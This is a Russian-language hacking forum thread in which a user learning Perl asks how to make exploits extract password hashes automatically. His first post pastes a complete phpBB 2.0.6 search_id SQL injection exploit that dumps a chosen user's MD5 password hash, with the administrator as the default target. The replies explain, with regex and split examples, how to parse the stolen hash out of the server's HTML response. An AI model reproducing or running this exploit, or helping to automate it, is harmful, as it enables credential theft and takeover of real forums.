Помогите с написанием сплоита. Так сказать изучаю перл. Но проблемма в том что не могу написать сплоит чтоб он работал по человечески, типа запустил, он все сам сделал и дал тебе хеш. Просто получается что хеш выдается в код страничке при запросе который делает сплоит. И как же тогда достать именно хеш среди html? парсить страницу? Ну вобщем помогите хоть как нибудь. Буду очень признателен за хоть какой-нибудь пример. Вот пример чужого сплоита: Code: #!/usr/bin/perl -w use IO::Socket; ## PROOF-OF-CONCEPT ## * работает только с mysql v>4.0 ## * работает только если на форуме не удалено самое первое сообщение ## ## Example: ## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2 ## [~] prepare to connect... ## [+] connected ## [~] prepare to send data... ## [+] OK ## [~] wait for response... ## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99 ## if (@ARGV < 4) { print "\n\n"; print "|****************************************************************|\n"; print " r57phpbb.pl\n"; print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n"; print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n"; print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n"; print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n"; print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n"; print " [~] <server> - server ip\n"; print " [~] <folder> - forum folder\n"; print " [~] <user_id> - user id (2 default for phpBB admin)\n"; print " [~] <search_id> - play with this value for results\n"; print "|****************************************************************|\n"; print "\n\n"; exit(1); } $success = 0; $server = $ARGV[0]; $folder = $ARGV[1]; $user_id = $ARGV[2]; $search_id = $ARGV[3]; print "[~] prepare to connect...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!"; print "[+] connected\n"; print "[~] prepare to send data...\n"; # PROOF-OF-CONCEPT reguest... print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n"; print "[+] OK\n"; print "[~] wait for response...\n"; while ($answer = <$socket>) { if ($answer =~ /;highlight=/) { $success = 1; @result=split(/;/,$answer); @result2=split(/=/,$result[1]); $result2[1]=~s/&/ /g; print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; } } if ($success==0) {print "[-] exploit failed =(\n";} ## o---[ RusH security team | www.rsteam.ru | 2003 ]---o Непонятны в нем именно такие строки: Code: if ($answer =~ /;highlight=/) { $success = 1; @result=split(/;/,$answer); @result2=split(/=/,$result[1]); $result2[1]=~s/&/ /g; print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; ---------------------------------- Короче сам вопрос - как оно находит сам хеш? =)
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример: Code: [color=#00AA00][color=#00FF00]while[/COLOR][color=#0000FF]([/COLOR]$text~[color=#0000FF]=/[[/COLOR]0[color=#0000FF]-[/COLOR]9A[color=#0000FF]-[/COLOR]F[color=#0000FF]][/COLOR][color=#FF0000]{[/COLOR][color=#00FF00]32[/COLOR][color=#FF0000]}[/COLOR][color=#0000FF]/[/COLOR]gi[color=#0000FF])[/COLOR][color=#FF0000]{[/COLOR] [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$0[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000]; }[/COLOR][/COLOR] Так можно найти все хэши, в тексте $text ---------- i - не учитывать гегистр
Линка не знаю, поищи, так и пиши "Регулярные выражения". А вообще, посмотри эти, они очень похожи http://www.php.net/manual/ru/reference.pcre.pattern.syntax.php
Регулярные выражение это, конечно, очень удобно, но часто возникают ситуации, когда удобней использовать split, чтобы выцепить из переменной, содержащей ответ сервера определенные данные. Например, на днях я писал скрипт который вынимает мейлы из html-страниц, причем не все в подряд а расположенные в определенном месте. В таких ситуациях, когда знаешь формат текста из которого надо извлечь определенные данные, split очень удобен. Чтоб стало ясно, прокоментирую непонятный topicstarter'у фрагмент: Code: if ($answer =~ /;highlight=/) #здесь переменная $answer проверяется на присутствие текста ";highlight=" в ней, и если он есть, то { $success = 1; #эксплуатация считается удавшейся # не стал узнавать чо там возвращает эксплоит, пусть что-нить подобное: # lala=tralala;highlight=&&D41D8CD98F00B204E9800998ECF8427E;lalalalala;lalala;etc # из всего этого надо извлечь хеш @result=split(/;/,$answer); #здесь мы делим значение $answer по символу ";" и заносим каждое из этих разделенных значений в массив @result. Теперь в элементе массива $result[1] содержится "highlight=&&D41D8CD98F00B204E9800998ECF8427E" @result2=split(/=/,$result[1]); # теперь $result2[1]=&&D41D8CD98F00B204E9800998ECF8427E $result2[1]=~s/&/ /g; # заменяем символы & на пробелы print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; # без комментариев... В общем, тут все очень просто. В случае с данным сплоитом, возможно, применить рег. выражения было бы разумней...
что тут сложного сохрани ответ серва в переменную а потом по маске 32 символа подряд (я думаю их там мало тааких может встретиться) или нада позырить по ответу после чего идет хеш и выдрать его сплитом или выдрать его с помошью поиска даже или на крайняк субстрактом вырезаем букавки $stroka="syka pisia pyk" $zz=substr($stroka,0,4) # 'syka' $zz=substr($stroka,5,5) # 'pisia' $zz=substr($stroka,-3) # 'pyk' также мона и 32 символа выдрать--- ламерский вопрос помоему
Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну
$0 - спец. переменная в которой хранится название запускаемого скрипта. Тебе нужна $1 - спец. переменная в которой хранится первое совпадение в последнем сравнении. Также можно юзать $1..9 соответственно. PS: про модификатор i уже сказали, а мод. g (global) - заставляет парсер искать все совпадения в данном тексте. т.е.: Code: my @hashes=$html=~/[0-9A-F]{32}/ig; # ВСЁ что попадет под данную маску будет помещено в список hashes C:\>perl -e "$text='test';if($text~=/test/) { print 'OK' }" syntax error at -e line 1, near "$text~" Execution of -e aborted due to compilation errors. C:\>perl -e "$text='test';if($text=~/test/) { print 'OK' }" OK C:\>
Кто не ошибается, темболее в программках на скорую руку. Думаю понятно с чем я это перепутал Молодец, конструктивная критика, держи + Code: [color=#00AA00][color=#00FF00]while[/COLOR][color=#0000FF]([/COLOR]$text[color=#0000FF]=[/COLOR]~[color=#0000FF]/([[/COLOR]0[color=#0000FF]-[/COLOR]9A[color=#0000FF]-[/COLOR]F[color=#0000FF]][/COLOR][color=#FF0000]{[/COLOR][color=#00FF00]32[/COLOR][color=#FF0000]}[/COLOR][color=#0000FF])/[/COLOR]gi[color=#0000FF])[/COLOR][color=#FF0000]{[/COLOR] [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR] [color=#FF0000]}[/COLOR][/COLOR]
мда-- делаешь так ищешь 32 символаидуших подряд по маске-- код у тебя уже есть -- при поске найденное помещается в спец переменные -- об этом написано в любом учебнике способ нумер два -- я так думаю что хэш возвращается после чего либо например $hesh=9cdfb439c7876e703e307864c9167a15 - дык вот есть такая функция pos она возвращает номер позиции с котрой начинается то что ты ищешь получаешь номер позиции с которой начинается наш хеш и вырезаешь 32 символа -- и нефиг ругаться лучше бы почитал в учебнике любом по перлу функции работы со строками -- вот